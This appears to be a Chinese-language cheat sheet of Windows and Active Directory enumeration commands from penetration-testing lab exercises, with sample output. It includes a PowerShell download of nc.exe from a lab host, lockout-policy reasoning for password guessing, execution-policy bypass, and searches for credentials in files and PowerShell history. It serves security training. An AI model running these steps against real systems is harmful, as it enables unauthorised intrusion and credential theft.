

【Windows】【列舉】常用命令

```
powershell wget -Uri http://192.168.118.4/nc.exe -OutFile C:\Windows\Temp\nc.exe
```

```
net user
net user /domain
net user {name} /domain
net group /domain
net group "Sales Department" /domain
```

```
C:\Users\stephanie>net user jeffadmin /domain
The request will be processed at a domain controller for domain corp.com.

User name                jeffadmin
Full Name
Comment
User's comment
Country/region code      000 (System Default)
Account active            Yes
Account expires          Never

Password last set        9/2/2022 4:26:48 PM
Password expires         Never
Password changeable      9/3/2022 4:26:48 PM
Password required        Yes
User may change password Yes

Workstations allowed     All
Logon script
User profile
Home directory
Last logon               9/20/2022 1:36:09 AM

Logon hours allowed      All

Local Group Memberships  *Administrators
Global Group memberships *Domain Users      *Domain Admins
The command completed successfully.
```

```
C:\Users\stephanie> net group /domain
The request will be processed at a domain controller for domain corp.com.
```

```
Group Accounts for \\DC1.corp.com
```

```
-----
*Cloneable Domain Controllers
*Debug
*Development Department
*DnsUpdateProxy
*Domain Admins
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users
*Enterprise Admins
*Enterprise Key Admins
*Enterprise Read-only Domain Controllers
*Group Policy Creator Owners
*Key Admins
*Management Department
*Protected Users
*Read-only Domain Controllers
*Sales Department
*Schema Admins
The command completed successfully.
```

```
PS C:\Users\jeff> net accounts
```

```
PS C:\Users\jeff> net accounts
Force user logoff how long after time expires?:      Never
Minimum password age (days):                        1
Maximum password age (days):                       42
Minimum password length:                             7
Length of password history maintained:               24
Lockout threshold:                                   5
Lockout duration (minutes):                          30
Lockout observation window (minutes):                 30
Computer role:                                       WORKSTATION
The command completed successfully.
```

有很多有用的信息，但讓我們首先關注鎖定閾值，這表示在鎖定之前的五次登錄嘗試。這意味著我們可以安全地嘗試四次登錄，然後才會觸發鎖定。儘管這可能看起來不多，我們還應該考慮鎖定觀察窗口，它表示在最後一次失敗登錄後的三十分鐘內，我們可以進行額外的嘗試。

```
# powershell 對分享資料夾可以直接用ls, cat 指令
PS C:\Tools> ls "\\FILES04.corp.com\Important Files"
```

```
Directory: \\FILES04.corp.com\Important Files
```

Mode	LastWriteTime	Length	Name
------	---------------	--------	------

```
-----  
-a---- 12/7/2023 7:54 AM 78 proof.txt
```

```
PS C:\Tools> cat "\\FILES04.corp.com\Important Files\proof.txt"  
OS{xxxxx}
```

```
powershell -ep bypass  
# 取得所有localgroup  
PS C:\Users\dave> Get-LocalGroup  
...省略  
Performance Monitor Users    Members of this group can access performance counter data locally and remotely  
Power Users                   Power Users are included for backwards compatibility and possess limited adminis...  
Remote Desktop Users         Members in this group are granted the right to logon remotely  
Remote Management Users      Members of this group can access WMI resources over management protocols (such a...  
Replicator                   Supports file replication in a domain  
...省略
```

```
# 取得 "Administrators" 成員  
PS C:\Users\mac> Get-LocalGroupMember Administrators
```

ObjectClass Name	PrincipalSource
User	CLIENTWK221\Administrator Local
User	CLIENTWK221\offsec Local
User	CLIENTWK221\roy Local

```
# 取得 "Remote Management Users" 成員  
PS C:\Users\dave> Get-LocalGroupMember "Remote Management Users"  
ObjectClass Name      PrincipalSource  
-----  
User      CLIENTWK220\daveadmin Local  
User      CLIENTWK220\steve Local
```

```
# 取得 process 路徑  
PS C:\Users\mac> Get-Process | Select-Object -ExpandProperty Path  
...省略  
C:\Program Files\WindowsApps\MicrosoftTeams_22287.702.1670.9453_x64__8wekyb3d8bbwe\msteams.exe  
C:\Users\mac\AppData\Roaming\SuperCompany\NonStandardProcess.exe  
C:\Users\mac\AppData\Local\Microsoft\OneDrive\OneDrive.exe  
...省略
```

```
C:\Users\dave>powershell  
# 查詢目前安裝程式  
...省略  
PS C:\Users\dave> Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" > out.log  
...省略  
PSProvider : Microsoft.PowerShell.Core\Registry  
  
(default) : OS{xxxxx}  
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\flag  
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall  
PSChildName : flag  
PSDrive : HKLM  
PSProvider : Microsoft.PowerShell.Core\Registry  
...省略  
  
# 找尋輸出並帶有OS文字  
PS C:\Users\dave> type out.log | findstr "OS"  
type out.log | findstr "OS"  
OS{xxxxx}
```

```
# 尋找檔案  
# Get-ChildItem -Path {path} -Include {file pattern} -File -Recurse -ErrorAction SilentlyContinue
```

```
PS C:\Users\steve> Get-ChildItem -Path C:\Users\steve\ -Include *.txt,*.log -File -Recurse -ErrorAction SilentlyContinue
```

```
Directory: C:\Users\steve\Contacts
```

Mode	LastWriteTime	Length	Name
-a----	12/6/2022 2:12 AM	168	logins.txt

```
PS C:\Users\steve> type C:\Users\steve\Contacts\logins.txt
```

```
https://myjobsucks.fr33lancers.com
```

```
user: steve
```

```
pass: thisIsWhatYouAreLookingFor
```

```
# Get-History 尋找歷史紀錄
```

```
PS C:\Users\mac> Get-History
```

```
PS C:\Users\mac> (Get-PSReadlineOption).HistorySavePath
```

```
C:\Users\mac\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```

```
PS C:\Users\mac> type C:\Users\mac\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```

```
OS{xxxxx}
```

```
Get-History
```

```
(Get-PSReadlineOption).HistorySavePath
```

🕒 修訂版本 #7

★ 由 treeman 建立於 23 🕒@🕒🕒 2024 00:03:09

✍ 由 treeman 更新於 24 🕒G🕒🕒 2024 19:21:10